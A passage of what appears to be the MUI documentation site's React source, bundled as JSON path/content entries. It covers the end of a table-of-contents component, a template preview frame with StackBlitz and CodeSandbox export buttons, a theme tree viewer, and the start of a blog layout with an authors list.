borderColor: (theme.vars || theme).palette.grey[200],\n                borderRadius: 1,\n                transitionProperty: 'all',\n                transitionTiming: 'cubic-bezier(0.4, 0, 0.2, 1)',\n                transitionDuration: '150ms',\n                '&:hover, &:focus-visible': {\n                  borderColor: (theme.vars || theme).palette.primary[200],\n                },\n              }),\n              (theme) =>\n                theme.applyDarkStyles({\n                  backgroundColor: alpha(theme.palette.primary[900], 0.2),\n                  borderColor: (theme.vars || theme).palette.primaryDark[700],\n                  '&:hover, &:focus-visible': {\n                    borderColor: (theme.vars || theme).palette.primaryDark[500],\n                  },\n                }),\n            ]}\n          >\n            <Typography\n              component=\"span\"\n              variant=\"button\"\n              sx={{ fontWeight: '500', color: 'text.primary' }}\n            >\n              {'🚀 Join the MUI team!'}\n            </Typography>\n            <Typography\n              component=\"span\"\n              variant=\"caption\"\n              sx={{ fontWeight: 'normal', color: 'text.secondary', mt: 0.5 }}\n            >\n              {\"We're looking for React Engineers and other amazing roles－come find out more!\"}\n            </Typography>\n          </Link>\n        )}\n      </NoSsr>\n      {toc.length > 0 ? (\n        <React.Fragment>\n          <NavLabel>{t('tableOfContents')}</NavLabel>\n          <NavList component=\"ul\">\n            {toc.map((item) => (\n              <li key={item.text}>\n                {itemLink(item, 1, onLinkClick)}\n                {item.children.length > 0 ? (\n                  <NavList as=\"ul\">\n                    {item.children.map((subitem) => (\n                      <li key={subitem.text}>\n                        {itemLink(subitem, 2, onLinkClick)}\n                        {subitem.children?.length > 0 ? (\n                          <NavList as=\"ul\">\n                            {subitem.children.map((nestedSubItem) => (\n                              <li key={nestedSubItem.text}>\n                                {itemLink(nestedSubItem, 3, onLinkClick)}\n                              </li>\n                            ))}\n                          </NavList>\n                        ) : null}\n                      </li>\n                    ))}\n                  </NavList>\n                ) : null}\n              </li>\n            ))}\n          </NavList>\n        </React.Fragment>\n      ) : null}\n    </React.Fragment>\n  );\n}\n\nTableOfContents.propTypes = {\n  itemLink: PropTypes.func.isRequired,\n  onLinkClick: PropTypes.func,\n  toc: PropTypes.array.isRequired,\n};\n"
  },
  {
    "path": "docs/src/modules/components/TemplateFrame.js",
    "content": "/* eslint-disable react/prop-types */\n\nimport * as React from 'react';\nimport { useRouter } from 'next/router';\nimport { deepmerge } from '@mui/utils';\nimport { getDesignTokens, getThemedComponents } from '@mui/docs/branding';\nimport { createTheme, ThemeProvider, styled, useColorScheme } from '@mui/material/styles';\nimport Tooltip from '@mui/material/Tooltip';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport Button from '@mui/material/Button';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport Box from '@mui/material/Box';\nimport Select from '@mui/material/Select';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport ArrowBackRoundedIcon from '@mui/icons-material/ArrowBackRounded';\nimport LightModeIcon from '@mui/icons-material/LightModeOutlined';\nimport DarkModeIcon from '@mui/icons-material/DarkModeOutlined';\nimport PaletteIcon from '@mui/icons-material/PaletteOutlined';\nimport codeSandbox from 'docs/src/modules/sandbox/CodeSandbox';\nimport stackBlitz from 'docs/src/modules/sandbox/StackBlitz';\nimport sourceMaterialTemplates from 'docs/src/modules/material/sourceMaterialTemplates';\nimport { pascalCase } from '@mui/docs/helpers';\n\nconst StyledAppBar = styled(AppBar)(({ theme }) => ({\n  position: 'relative',\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'space-between',\n  flexShrink: 0,\n  borderBottom: '1px solid',\n  borderColor: (theme.vars || theme).palette.divider,\n  backgroundColor: (theme.vars || theme).palette.background.paper,\n  boxShadow: 'none',\n  backgroundImage: 'none',\n  zIndex: theme.zIndex.drawer + 1,\n  flex: '0 0 auto',\n  'html:has(&)': {\n    '--template-frame-height': '52px',\n    '& [data-screenshot=\"toggle-mode\"]': { display: 'none' },\n    '& .MuiInputBase-root:has(> [data-screenshot=\"toggle-mode\"])': { display: 'none' },\n  },\n}));\n\nconst defaultTheme = createTheme({\n  cssVariables: {\n    colorSchemeSelector: 'data-mui-color-scheme',\n  },\n  colorSchemes: { light: true, dark: true },\n});\n\nfunction ColorSchemeControls() {\n  const { mode, systemMode, setMode } = useColorScheme();\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n  const handleMode = (targetMode) => () => {\n    setMode(targetMode);\n    handleClose();\n  };\n  if (!mode) {\n    return (\n      <Box\n        sx={(theme) => {\n          // copy from OutlinedInput\n          const borderColor =\n            theme.palette.mode === 'light' ? 'rgba(0, 0, 0, 0.23)' : 'rgba(255, 255, 255, 0.23)';\n          return {\n            verticalAlign: 'bottom',\n            display: 'inline-flex',\n            width: 32,\n            height: 32,\n            borderRadius: (theme.vars || theme).shape.borderRadius,\n            border: '1px solid',\n            borderColor: theme.vars\n              ? theme.alpha(theme.vars.palette.common.onBackground, 0.23)\n              : borderColor,\n          };\n        }}\n      />\n    );\n  }\n  const resolvedMode = systemMode || mode;\n  const icon = {\n    light: <LightModeIcon />,\n    dark: <DarkModeIcon />,\n  }[resolvedMode];\n  return (\n    <React.Fragment>\n      <IconButton\n        id=\"frame-color-mode-toggle\"\n        onClick={handleClick}\n        color=\"primary\"\n        size=\"small\"\n        disableTouchRipple\n        aria-controls={open ? 'color-scheme-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n      >\n        {icon}\n      </IconButton>\n      <Menu\n        anchorEl={anchorEl}\n        id=\"frame-color-mode-toggle\"\n        open={open}\n        onClose={handleClose}\n        onClick={handleClose}\n        slotProps={{\n          paper: {\n            sx: {\n              my: '4px',\n            },\n          },\n        }}\n        transformOrigin={{ horizontal: 'right', vertical: 'top' }}\n        anchorOrigin={{ horizontal: 'right', vertical: 'bottom' }}\n      >\n        <MenuItem selected={mode === 'system'} onClick={handleMode('system')}>\n          System\n        </MenuItem>\n        <MenuItem selected={mode === 'light'} onClick={handleMode('light')}>\n          Light\n        </MenuItem>\n        <MenuItem selected={mode === 'dark'} onClick={handleMode('dark')}>\n          Dark\n        </MenuItem>\n      </Menu>\n    </React.Fragment>\n  );\n}\n\nexport function ThemeSelector({ value, onChange }) {\n  return (\n    <Select\n      size=\"small\"\n      value={value}\n      onChange={(event) => {\n        onChange(event.target.value);\n      }}\n      startAdornment={\n        <InputAdornment position=\"start\" sx={{ display: { sm: 'none' } }}>\n          <PaletteIcon fontSize=\"small\" color=\"primary\" />\n        </InputAdornment>\n      }\n      sx={(theme) => ({\n        pl: { sm: 0 },\n        minWidth: { xs: 64, sm: 176 },\n        '& .MuiSelect-select': {\n          pl: { sm: 1.5 },\n        },\n        [theme.breakpoints.only('xs')]: {\n          '& .MuiSelect-select': {\n            width: 'auto',\n            position: 'absolute',\n            inset: 0,\n            opacity: 0,\n          },\n        },\n      })}\n    >\n      <MenuItem value=\"custom\">Custom Theme</MenuItem>\n      <MenuItem value=\"material2\">Material Design 2</MenuItem>\n    </Select>\n  );\n}\n\nconst { palette: lightPalette, typography, ...designTokens } = getDesignTokens('light');\nconst { palette: darkPalette } = getDesignTokens('dark');\n\nconst brandingTheme = createTheme({\n  cssVariables: {\n    cssVarPrefix: 'muidocs',\n    colorSchemeSelector: 'data-mui-color-scheme',\n  },\n  colorSchemes: {\n    light: {\n      palette: lightPalette,\n    },\n    dark: {\n      palette: darkPalette,\n    },\n  },\n  ...designTokens,\n  typography: deepmerge(typography, {\n    h1: {\n      ':where([data-mui-color-scheme=\"dark\"]) &': {\n        color: 'var(--muidocs-palette-common-white)',\n      },\n    },\n    h2: {\n      ':where([data-mui-color-scheme=\"dark\"]) &': {\n        color: 'var(--muidocs-palette-grey-100)',\n      },\n    },\n    h5: {\n      ':where([data-mui-color-scheme=\"dark\"]) &': {\n        color: 'var(--muidocs-palette-primary-300)',\n      },\n    },\n  }),\n  ...getThemedComponents(),\n});\n\nexport default function TemplateFrame({ children }) {\n  const router = useRouter();\n  const templateId = router.pathname.split('/').pop();\n  const templateName = pascalCase(templateId);\n  const [selectedTheme, setSelectedTheme] = React.useState('custom');\n  const materialTemplates = sourceMaterialTemplates();\n  const item = materialTemplates.map.get(templateId);\n  return (\n    <ThemeProvider theme={defaultTheme} disableTransitionOnChange>\n      <Box\n        sx={{\n          height: '100dvh',\n          display: 'flex',\n          flexDirection: 'column',\n        }}\n      >\n        {router.query?.hideFrame !== 'true' && (\n          <ThemeProvider theme={brandingTheme}>\n            <StyledAppBar className=\"Docs-templateFrame\">\n              <Toolbar\n                variant=\"dense\"\n                disableGutters\n                sx={{\n                  display: 'flex',\n                  justifyContent: 'space-between',\n                  width: '100%',\n                  p: '8px 12px',\n                  gap: 1,\n                  minHeight: 'var(--template-frame-height)',\n                }}\n              >\n                <Box sx={{ width: { xs: 'auto', sm: 0 }, '& > *': { width: 'max-content' } }}>\n                  <Button\n                    variant=\"text\"\n                    size=\"small\"\n                    aria-label=\"Back to templates\"\n                    startIcon={<ArrowBackRoundedIcon />}\n                    component=\"a\"\n                    href=\"/material-ui/getting-started/templates/\"\n                    sx={{ display: { xs: 'none', sm: 'flex' } }}\n                  >\n                    Back to templates\n                  </Button>\n                  <IconButton\n                    size=\"small\"\n                    aria-label=\"Back to templates\"\n                    component=\"a\"\n                    href=\"/material-ui/getting-started/templates/\"\n                    sx={{ display: { xs: 'auto', sm: 'none' } }}\n                  >\n                    <ArrowBackRoundedIcon />\n                  </IconButton>\n                </Box>\n                <Box\n                  sx={{\n                    display: 'flex',\n                    justifyContent: 'flex-end',\n                    gap: 1,\n                    width: { xs: 'auto', sm: 0 },\n                    '& > *': { flexShrink: 0 },\n                  }}\n                >\n                  <Tooltip title=\"Edit in StackBlitz\">\n                    <IconButton\n                      color=\"primary\"\n                      size=\"small\"\n                      disableTouchRipple\n                      aria-label=\"StackBlitz playground\"\n                      data-ga-event-category=\"material-ui-template\"\n                      data-ga-event-label={templateId}\n                      data-ga-event-action=\"stackblitz\"\n                      onClick={() =>\n                        stackBlitz\n                          .createMaterialTemplate({\n                            ...item,\n                            files: { ...item.files, ...materialTemplates.sharedTheme?.files },\n                            title: `${templateName} Template - Material UI`,\n                            githubLocation: `${process.env.SOURCE_CODE_REPO}/blob/v${\n                              process.env.LIB_VERSION\n                            }/docs/data/material/templates/${templateId}/${templateName}.${\n                              item.codeVariant === 'TS' ? 'tsx' : 'js'\n                            }`,\n                          })\n                          .replaceContent((content) => {\n                            if (typeof content === 'string') {\n                              return content\n                                .replace(/\\.\\.\\/shared-theme\\//g, './theme/')\n                                .replace('./App', `./${templateName}`);\n                            }\n                            return content;\n                          })\n                          .openStackBlitz(`/${templateName}`)\n                      }\n                      sx={{ alignSelf: 'center', borderRadius: 1 }}\n                    >\n                      <SvgIcon viewBox=\"0 0 19 28\">\n                        <path d=\"M8.13378 16.1087H0L14.8696 0L10.8662 11.1522L19 11.1522L4.13043 27.2609L8.13378 16.1087Z\" />\n                      </SvgIcon>\n                    </IconButton>\n                  </Tooltip>\n                  <Tooltip title=\"Edit in CodeSandbox\">\n                    <IconButton\n                      color=\"primary\"\n                      size=\"small\"\n                      disableTouchRipple\n                      aria-label=\"CodeSandbox playground\"\n                      data-ga-event-category=\"material-ui-template\"\n                      data-ga-event-label={templateId}\n                      data-ga-event-action=\"codesandbox\"\n                      onClick={() =>\n                        codeSandbox\n                          .createMaterialTemplate({\n                            ...item,\n                            files: { ...item.files, ...materialTemplates.sharedTheme?.files },\n                            title: `${templateName} Template - Material UI`,\n                            githubLocation: `${process.env.SOURCE_CODE_REPO}/blob/v${\n                              process.env.LIB_VERSION\n                            }/docs/data/material/templates/${templateId}/${templateName}.${\n                              item.codeVariant === 'TS' ? 'tsx' : 'js'\n                            }`,\n                          })\n                          .replaceContent((content) => {\n                            if (typeof content === 'string') {\n                              return content\n                                .replace(/\\.\\.\\/shared-theme\\//g, './theme/')\n                                .replace('./App', `./${templateName}`);\n                            }\n                            return content;\n                          })\n                          .openSandbox(`/${templateName}`)\n                      }\n                      sx={{ alignSelf: 'center', borderRadius: 1 }}\n                    >\n                      <SvgIcon viewBox=\"0 0 1080 1080\">\n                        <path d=\"M755 140.3l0.5-0.3h0.3L512 0 268.3 140h-0.3l0.8 0.4L68.6 256v512L512 1024l443.4-256V256L755 140.3z m-30 506.4v171.2L548 920.1V534.7L883.4 341v215.7l-158.4 90z m-584.4-90.6V340.8L476 534.4v385.7L300 818.5V646.7l-159.4-90.6zM511.7 280l171.1-98.3 166.3 96-336.9 194.5-337-194.6 165.7-95.7L511.7 280z\" />\n                      </SvgIcon>\n                    </IconButton>\n                  </Tooltip>\n                  <Divider orientation=\"vertical\" flexItem sx={{ mx: 1 }} />\n                  <ThemeSelector\n                    value={selectedTheme}\n                    onChange={(newTheme) => setSelectedTheme(newTheme)}\n                  />\n                  <ColorSchemeControls />\n                </Box>\n              </Toolbar>\n            </StyledAppBar>\n          </ThemeProvider>\n        )}\n        <Box sx={{ flex: '1 1', overflow: 'auto' }}>\n          {React.isValidElement(children)\n            ? React.cloneElement(children, { disableCustomTheme: selectedTheme === 'material2' })\n            : null}\n        </Box>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/ThemeViewer.tsx",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { styled, alpha, lighten } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport ChevronDownIcon from '@mui/icons-material/ExpandMoreRounded';\nimport ChevronRightIcon from '@mui/icons-material/ChevronRightRounded';\nimport { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';\nimport { TreeItem as MuiTreeItem, treeItemClasses } from '@mui/x-tree-view/TreeItem';\nimport { blue, blueDark } from '@mui/docs/branding';\n\nfunction getType(value: any) {\n  if (Array.isArray(value)) {\n    return 'array';\n  }\n\n  if (value === null) {\n    return 'null';\n  }\n\n  if (/^(#|rgb|rgba|hsl|hsla)/.test(value)) {\n    return 'color';\n  }\n\n  return typeof value;\n}\n/**\n * @param {unknown} value\n * @param {ReturnType<typeof getType>} type\n */\nfunction getLabel(value: any, type: string) {\n  switch (type) {\n    case 'array':\n      return `Array(${value.length})`;\n    case 'null':\n      return 'null';\n    case 'undefined':\n      return 'undefined';\n    case 'function':\n      return `f ${value.name}()`;\n    case 'object':\n      return 'Object';\n    case 'string':\n      return `\"${value}\"`;\n    case 'symbol':\n      return `Symbol(${String(value)})`;\n    case 'bigint':\n    case 'boolean':\n    case 'number':\n    default:\n      return String(value);\n  }\n}\n\nfunction getTokenType(type: string) {\n  switch (type) {\n    case 'color':\n      return 'string';\n    case 'object':\n    case 'array':\n      return 'comment';\n    default:\n      return type;\n  }\n}\n\nconst Color = styled('span')(({ theme }) => ({\n  backgroundColor: '#fff',\n  display: 'inline-block',\n  marginBottom: -1,\n  marginRight: theme.spacing(0.5),\n  border: '1px solid',\n  backgroundImage:\n    'url(\"data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%202%202%22%3E%3Cpath%20d%3D%22M1%202V0h1v1H0v1z%22%20fill-opacity%3D%22.2%22%2F%3E%3C%2Fsvg%3E\")',\n}));\n\nfunction ObjectEntryLabel(props: { objectKey: string; objectValue: any }) {\n  const { objectKey, objectValue } = props;\n  const type = getType(objectValue);\n  const label = getLabel(objectValue, type);\n  const tokenType = getTokenType(type);\n\n  return (\n    <React.Fragment>\n      {`${objectKey}: `}\n      {type === 'color' ? (\n        <Color style={{ borderColor: lighten(label, 0.7) }}>\n          <Box\n            component=\"span\"\n            sx={{ display: 'block', width: 11, height: 11 }}\n            style={{ backgroundColor: label }}\n          />\n        </Color>\n      ) : null}\n      <span className={clsx('token', tokenType)}>{label}</span>\n    </React.Fragment>\n  );\n}\n\nfunction CustomEndIcon() {\n  return <div style={{ width: 24 }} />;\n}\n\nconst TreeItem = styled(MuiTreeItem)(({ theme }) => ({\n  [`& .${treeItemClasses.content}`]: {\n    padding: 4,\n    borderRadius: 8,\n    '&:hover': {\n      backgroundColor: alpha(blueDark[600], 0.2),\n    },\n    '&:focus': {\n      [`& .${treeItemClasses.content}`]: {\n        backgroundColor: lighten(blue[900], 0.05),\n        outline: `2px dashed ${lighten(blue[900], 0.3)}`,\n      },\n    },\n    [`& .${treeItemClasses.label}`]: {\n      fontFamily: 'Menlo, Consolas, Droid Sans Mono, monospace',\n      fontSize: theme.typography.pxToRem(13),\n    },\n  },\n}));\n\nfunction ObjectEntry(props: {\n  itemId: string;\n  objectKey: string;\n  objectValue: any;\n  depth: number;\n}) {\n  const { itemId, objectKey, objectValue, depth } = props;\n  const keyPrefix = itemId;\n  let children = null;\n\n  if (\n    (objectValue !== null && typeof objectValue === 'object') ||\n    typeof objectValue === 'function'\n  ) {\n    children =\n      Object.keys(objectValue).length === 0\n        ? undefined\n        : Object.keys(objectValue).map((key) => {\n            return (\n              <ObjectEntry\n                key={key}\n                itemId={`${keyPrefix}.${key}`}\n                objectKey={key}\n                depth={depth + 1}\n                objectValue={objectValue[key]}\n              />\n            );\n          });\n  }\n\n  return (\n    <TreeItem\n      sx={{\n        paddingLeft: depth,\n      }}\n      itemId={itemId}\n      label={<ObjectEntryLabel objectKey={objectKey} objectValue={objectValue} />}\n    >\n      {children}\n    </TreeItem>\n  );\n}\n\nfunction computeItemIds(object: Record<string, any>, prefix: string) {\n  if ((object !== null && typeof object === 'object') || typeof object === 'function') {\n    const ids: Array<string> = [];\n    Object.keys(object).forEach((key) => {\n      ids.push(`${prefix}${key}`, ...computeItemIds(object[key], `${prefix}${key}.`));\n    });\n\n    return ids;\n  }\n  return [];\n}\n\nexport function useItemIdsLazy(object: Record<string, any>) {\n  const [allItemIds, setAllItemIds] = React.useState<Array<string>>([]);\n  // technically we want to compute them lazily until we need them (expand all)\n  // yielding is good enough. technically we want to schedule the computation\n  // with low pri  and upgrade the priority later\n  React.useEffect(() => {\n    setAllItemIds(computeItemIds(object, ''));\n  }, [object]);\n\n  return allItemIds;\n}\n\nexport default function ThemeViewer({\n  data,\n  expandPaths = [],\n  ...other\n}: {\n  data: Record<string, any>;\n  expandPaths: Array<string> | null;\n}) {\n  const keyPrefix = React.useId();\n  const defaultExpanded = React.useMemo(\n    () =>\n      Array.isArray(expandPaths)\n        ? expandPaths.map((expandPath) => `${keyPrefix}.${expandPath}`)\n        : [],\n    [expandPaths, keyPrefix],\n  );\n  // for default*  to take effect we need to remount\n  const key = React.useMemo(() => defaultExpanded.join(''), [defaultExpanded]);\n  return (\n    <SimpleTreeView\n      key={key}\n      slots={{\n        expandIcon: ChevronRightIcon,\n        collapseIcon: ChevronDownIcon,\n        endIcon: CustomEndIcon,\n      }}\n      defaultExpandedItems={defaultExpanded}\n      {...other}\n      sx={{\n        color: '#FFF',\n        p: 1.5,\n        bgcolor: 'hsl(210, 25%, 9%)', // one-off code container color\n        borderRadius: 3,\n        border: `1px solid ${blueDark[700]}`,\n      }}\n    >\n      {Object.keys(data).map((objectKey) => {\n        return (\n          <ObjectEntry\n            key={objectKey}\n            itemId={`${keyPrefix}.${objectKey}`}\n            objectKey={objectKey}\n            objectValue={data[objectKey]}\n            depth={0}\n          />\n        );\n      })}\n    </SimpleTreeView>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/TopLayoutBlog.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled, alpha } from '@mui/material/styles';\nimport { useRouter } from 'next/router';\nimport { exactProp } from '@mui/utils';\nimport ChevronLeftRoundedIcon from '@mui/icons-material/ChevronLeftRounded';\nimport Divider from '@mui/material/Divider';\nimport Typography from '@mui/material/Typography';\nimport Avatar from '@mui/material/Avatar';\nimport Head from 'docs/src/modules/components/Head';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport AppContainer from 'docs/src/modules/components/AppContainer';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport HeroEnd from 'docs/src/components/home/HeroEnd';\nimport { MarkdownElement } from '@mui/docs/MarkdownElement';\nimport RichMarkdownElement from 'docs/src/modules/components/RichMarkdownElement';\nimport { pathnameToLanguage } from '@mui/docs/helpers';\nimport ROUTES from 'docs/src/route';\nimport { Link } from '@mui/docs/Link';\n\nexport const authors = {\n  oliviertassinari: {\n    name: 'Olivier Tassinari',\n    avatar: 'https://avatars.githubusercontent.com/u/3165635',\n    github: 'oliviertassinari',\n  },\n  mbrookes: {\n    name: 'Matt Brookes',\n    avatar: 'https://avatars.githubusercontent.com/u/357702',\n    github: 'mbrookes',\n  },\n  eps1lon: {\n    name: 'Sebastian Silbermann',\n    avatar: 'https://avatars.githubusercontent.com/u/12292047',\n    github: 'eps1lon',\n  },\n  mnajdova: {\n    name: 'Marija Najdova',\n    avatar: 'https://avatars.githubusercontent.com/u/4512430',\n    github: 'mnajdova',\n  },\n  michaldudak: {\n    name: 'Michał Dudak',\n    avatar: 'https://avatars.githubusercontent.com/u/4696105',\n    github: 'michaldudak',\n  },\n  siriwatknp: {\n    name: 'Siriwat Kunaporn',\n    avatar: 'https://avatars.githubusercontent.com/u/18292247',\n    github: 'siriwatknp',\n  },\n  'danilo-leal': {\n    name: 'Danilo Leal',\n    avatar: 'https://avatars.githubusercontent.com/u/67129314',\n    github: 'danilo-leal',\n  },\n  m4theushw: {\n    name: 'Matheus Wichman',\n    avatar: 'https://avatars.githubusercontent.com/u/42154031',\n    github: 'm4theushw',\n  },\n  flaviendelangle: {\n    name: 'Flavien Delangle',\n    avatar: 'https://avatars.githubusercontent.com/u/3309670',\n    github: 'flaviendelangle',\n  },\n  DanailH: {\n    name: 'Danail Hadjiatanasov',\n    avatar: 'https://avatars.githubusercontent.com/u/5858539',\n    github: 'DanailH',\n  },\n  alexfauquette: {\n    name: 'Alexandre Fauquette',\n    avatar: 'https://avatars.githubusercontent.com/u/45398769',\n    github: 'alexfauquette',\n  },\n  samuelsycamore: {\n    name: 'Sam Sycamore',\n    avatar: 'https://avatars.githubusercontent.com/u/71297412',\n    github: 'samuelsycamore',\n  },\n  josefreitas: {\n    name: 'José Freitas',\n    avatar: 'https://avatars.githubusercontent.com/u/550141',\n    github: 'joserodolfofreitas',\n  },\n  cherniavskii: {\n    name: 'Andrew Cherniavskyi',\n    avatar: 'https://avatars.githubusercontent.com/u/13808724',\n    github: 'cherniavskii',\n  },\n  mikailaread: {\n    name: 'Mikaila Read',\n    avatar: 'https://avatars.githubusercontent.com/u/76401606',\n    github: 'mikailaread',\n  },\n  prakhargupta: {\n    name: 'Prakhar Gupta',\n    avatar: 'https://avatars.githubusercontent.com/u/92228082',\n    github: 'prakhargupta1',\n  },\n  richbustos: {\n    name: 'Rich Bustos',\n    avatar: 'https://avatars.githubusercontent.com/u/92274722',\n    github: 'richbustos',\n  },\n  colmtuite: {\n    name: 'Colm Tuite',\n    avatar: 'https://avatars.githubusercontent.com/u/805073',\n    github: 'colmtuite',\n  },\n  diegoandai: {\n    name: 'Diego Andai',\n    avatar: 'https://avatars.githubusercontent.com/u/16889233',\n    github: 'DiegoAndai',\n  },\n  alelthomas: {\n    name: 'Ale Thomas',\n    avatar: 'https://avatars.githubusercontent.com/u/93217218',\n    github: 'alelthomas',\n  },\n  DavidCnoops: {\n    name: 'David Cnoops',\n    avatar: 'https://avatars.githubusercontent.com/u/28001064',\n    github: 'DavidCnoops',\n  },\n  brijeshb42: {\n    name: 'Brijesh Bittu',\n    avatar: 'https://avatars.githubusercontent.com/u/717550?',\n    github: 'brijeshb42',\n  },\n  aarongarciah: {\n    name: 'Aarón García',\n    avatar: 'https://avatars.githubusercontent.com/u/7225802?',\n    github: 'aarongarciah',\n  },\n  zanivan: {\n    name: 'Victor Zanivan Monteiro',\n    avatar: 'https://avatars.githubusercontent.com/u/37222944?',\n    github: 'zanivan',\n  },\n  romgrk: {\n    name: 'Romain Gregoire',\n    avatar: 'https://avatars.githubusercontent.com/u/1423607',\n    github: 'romgrk',\n  },\n  arminmeh: {\n    name: 'Armin Mehinović',\n    avatar: 'https://avatars.githubusercontent.com/u/4390250',\n    github: 'arminmeh',\n  },\n  janpot: {\n    name: 'Jan Potoms',\n    avatar: 'https://avatars.githubusercontent.com/u/2109932',\n    github: 'Janpot',\n  },\n  nadjakovacev: {\n    name: 'Nadja Kovacev',\n    avatar: 'https://avatars.githubusercontent.com/u/159806370',\n    github: 'nadjakovacev',\n  },\n  raffaellaluzi: {\n    name: 'Raffaella Luzi',\n    avatar: 'https://avatars.githubusercontent.com/u/136349774',\n    github: 'rluzists1',\n  },\n  bernardobelchior: {\n    name: 'Bernardo Belchior',\n    avatar: 'https://avatars.githubusercontent.com/u/12778398',\n    github: 'bernardobelchior',\n  },\n};\n\nconst classes = {\n  back: 'TopLayoutBlog-back',\n  time: 'TopLayoutBlog-time',\n  container: 'TopLayoutBlog-container',\n};\n\n// Replicate the value used by https://medium.com/, a trusted reference.\nconst BLOG_MAX_WIDTH = 692;\n\nconst AuthorsContainer = styled('div')(({ theme }) => ({\n  display: 'flex',\n  flexWrap: 'wrap',\n  marginBottom: theme.spacing(2),\n  '& .author': {\n    display: 'flex',\n    alignItems: 'center',\n    paddingBottom: theme.spacing(2),\n    paddingRight: theme.spacing(3),\n    '& .MuiAvatar-root': {\n      marginRight: theme.spacing(1),\n    },\n  },\n}));\n\nconst Root = styled('div')(\n  ({ theme }) => ({\n    flexGrow: 1,\n    background: `linear-gradient(180deg, ${\n      (theme.vars || theme).palette.grey[50]\n    } 0%, #FFFFFF 100%)`,\n    backgroundSize: '100% 500px',\n    backgroundRepeat: 'no-repeat',\n    [`& .${classes.back}`]: {\n      display: 'flex',\n      alignItems: 'center',\n      marginBottom: theme.spacing(2),\n      marginLeft: theme.spacing(-1),\n    },\n    [`& .${classes.container}`]: {\n      paddingTop: 60 + 20,\n      marginBottom: theme.spacing(12),\n      maxWidth: `calc(${BLOG_MAX_WIDTH}px + ${theme.spacing(2 * 2)})`,\n      [theme.breakpoints.up('md')]: {\n        maxWidth: `calc(${BLOG_MAX_WIDTH}px + ${theme.spacing(3 * 2)})`,\n      },\n      [theme.breakpoints.up('lg')]: {\n        maxWidth: `calc(${BLOG_MAX_WIDTH}px + ${theme.spacing(8 * 2)})`,\n      },\n      '& h1': {\n        marginBottom: theme.spacing(3),\n      },\n    },\n    '& .markdown-body': {\n      lineHeight: 1.7,\n      '& img, & video': {\n        border: '1px solid',\n        // Avoid border to change inline style width properties\n        boxSizing: 'content-box',\n        borderColor: (theme.vars || theme).palette.grey[200],\n        borderRadius: 8,\n        display: 'block',\n        margin: 'auto',\n        marginBottom: 16,\n      },\n      '& figure': {\n        margin: 0,\n        padding: 0,\n        marginBottom: 16,\n        '& img, & video': {\n          marginBottom: 8,\n        },\n      },\n      '& figcaption': {\n        color: (theme.vars || theme).palette.text.tertiary,\n        fontSize: theme.typography.pxToRem(14),\n        textAlign: 'center',\n      },\n      '& strong': {\n        color: (theme.vars || theme).palette.grey[900],\n      },\n      '& summary': {\n        padding: 8,\n        fontSize: theme.typography.pxToRem(14),\n        fontWeight: theme.typography.fontWeightMedium,\n        color: (theme.vars || theme).palette.grey[900],\n      },\n      '& details': {\n        paddingLeft: 16,\n        paddingRight: 16,\n        background: alpha(theme.palette.grey[50], 0.5),\n        border: '1px solid',\n        borderRadius: 10,\n        borderColor: (theme.vars || theme).palette.grey[200],\n        transitionProperty: 'all',\n        transitionTiming: 'cubic-bezier(0.4, 0, 0.2, 1)',\n        transitionDuration: '200ms',\n        '&:hover, &:focus-visible': {\n          background: (theme.vars || theme).palette.grey[50],\n          borderColor: (theme.vars || theme).palette.grey[300],\n        },\n      },\n      '& th': {\n        width: '100%',\n        textAlign: 'left',\n        borderBottom: `3px solid rgba(62, 80, 96, 0.2) !important`,\n      },\n      '& .blog-description': {\n        fontSize: theme.typography.pxToRem(13),\n        marginTop: 8,\n        textAlign: 'center',\n        color: (theme.vars || theme).palette.grey[700],\n        '& a': {\n          color: 'inherit',\n          textDecoration: 'underline',\n        },\n      },\n      '& .MuiCode-root + .blog-description': {\n        marginTop: -20 + 8,\n      },\n    },\n    [`& .${classes.time}`]: {\n      color: (theme.vars || theme).palette.text.secondary,\n      ...theme.typography.caption,\n      fontWeight: 500,\n    },\n  }),\n  ({ theme }) =>\n    theme.applyDarkStyles({\n      background: `linear-gradient(180deg, ${alpha(theme.palette.primary[900], 0.2)} 0%, ${\n        (theme.vars || theme).palette.primaryDark[900]\n      } 100%)`,\n      backgroundSize: '100% 1000px',\n      backgroundRepeat: 'no-repeat',\n      '& .markdown-body': {\n        '& strong': {\n          color: (theme.vars || theme).palette.grey[100],\n        },\n        '& summary': {\n          color: (theme.vars || theme).palette.grey[300],\n        },\n        '& img, & video': {\n          borderColor: alpha(theme.palette.primaryDark[600], 0.5),\n        },\n        '& details': {\n          background: alpha(theme.palette.primary[900], 0.3),\n          borderColor: (theme.vars || theme).palette.primaryDark[700],\n          '&:hover, &:focus-visible': {\n            background: alpha(theme.palette.primary[900], 0.4),\n            borderColor: (theme.vars || theme).palette.primaryDark[500],\n          },\n        },\n        '& .blog-description': {\n          color: (theme.vars || theme).palette.grey[500],\n        },\n      },\n    }),\n);\n\nexport default function TopLayoutBlog(props) {\n  const { className, docs, demos, demoComponents, srcComponents } = props;\n  const { description, rendered, title, headers } = docs.en;\n  const finalTitle = title || headers.title;\n  const router = useRouter();\n  const slug = 